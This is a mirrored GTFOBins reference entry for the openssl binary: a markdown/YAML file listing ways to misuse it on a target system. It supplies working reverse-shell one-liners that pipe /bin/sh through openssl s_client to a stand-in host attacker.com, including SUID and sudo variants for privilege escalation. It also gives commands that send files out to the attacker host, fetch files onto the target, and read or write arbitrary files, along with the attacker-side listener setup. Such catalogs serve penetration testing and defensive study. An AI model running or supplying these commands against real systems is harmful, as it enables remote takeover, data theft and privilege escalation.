mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
83 lines
3.0 KiB
Markdown
83 lines
3.0 KiB
Markdown
---
|
|
functions:
|
|
reverse-shell:
|
|
- description: |
|
|
To receive the shell run the following on the attacker box:
|
|
|
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
|
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345
|
|
|
|
Communication between attacker and target will be encrypted.
|
|
code: |
|
|
RHOST=attacker.com
|
|
RPORT=12345
|
|
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -no_ign_eof -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s
|
|
file-upload:
|
|
- description: |
|
|
To collect the file run the following on the attacker box:
|
|
|
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
|
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 > file_to_save
|
|
|
|
Send a file to a TCP port, transmission will be encrypted.
|
|
code: |
|
|
RHOST=attacker.com
|
|
RPORT=12345
|
|
LFILE=file_to_send
|
|
openssl s_client -quiet -no_ign_eof -connect $RHOST:$RPORT < "$LFILE"
|
|
file-download:
|
|
- description: |
|
|
To send the file run the following on the attacker box:
|
|
|
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
|
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 < file_to_send
|
|
|
|
Fetch a file from a TCP port, transmission will be encrypted.
|
|
code: |
|
|
RHOST=attacker.com
|
|
RPORT=12345
|
|
LFILE=file_to_save
|
|
openssl s_client -quiet -connect $RHOST:$RPORT > "$LFILE"
|
|
file-write:
|
|
- code: |
|
|
LFILE=file_to_write
|
|
echo DATA | openssl enc -out "$LFILE"
|
|
- code: |
|
|
LFILE=file_to_write
|
|
TF=$(mktemp)
|
|
echo "DATA" > $TF
|
|
openssl enc -in "$TF" -out "$LFILE"
|
|
file-read:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
openssl enc -in "$LFILE"
|
|
suid:
|
|
- description: |
|
|
To receive the shell run the following on the attacker box:
|
|
|
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
|
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345
|
|
|
|
Communication between attacker and target will be encrypted.
|
|
code: |
|
|
RHOST=attacker.com
|
|
RPORT=12345
|
|
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | ./openssl s_client -quiet -no_ign_eof -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s
|
|
|
|
- code: |
|
|
LFILE=file_to_write
|
|
echo DATA | openssl enc -out "$LFILE"
|
|
sudo:
|
|
- description: |
|
|
To receive the shell run the following on the attacker box:
|
|
|
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
|
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345
|
|
|
|
Communication between attacker and target will be encrypted.
|
|
code: |
|
|
RHOST=attacker.com
|
|
RPORT=12345
|
|
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | sudo openssl s_client -quiet -no_ign_eof -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s
|
|
---
|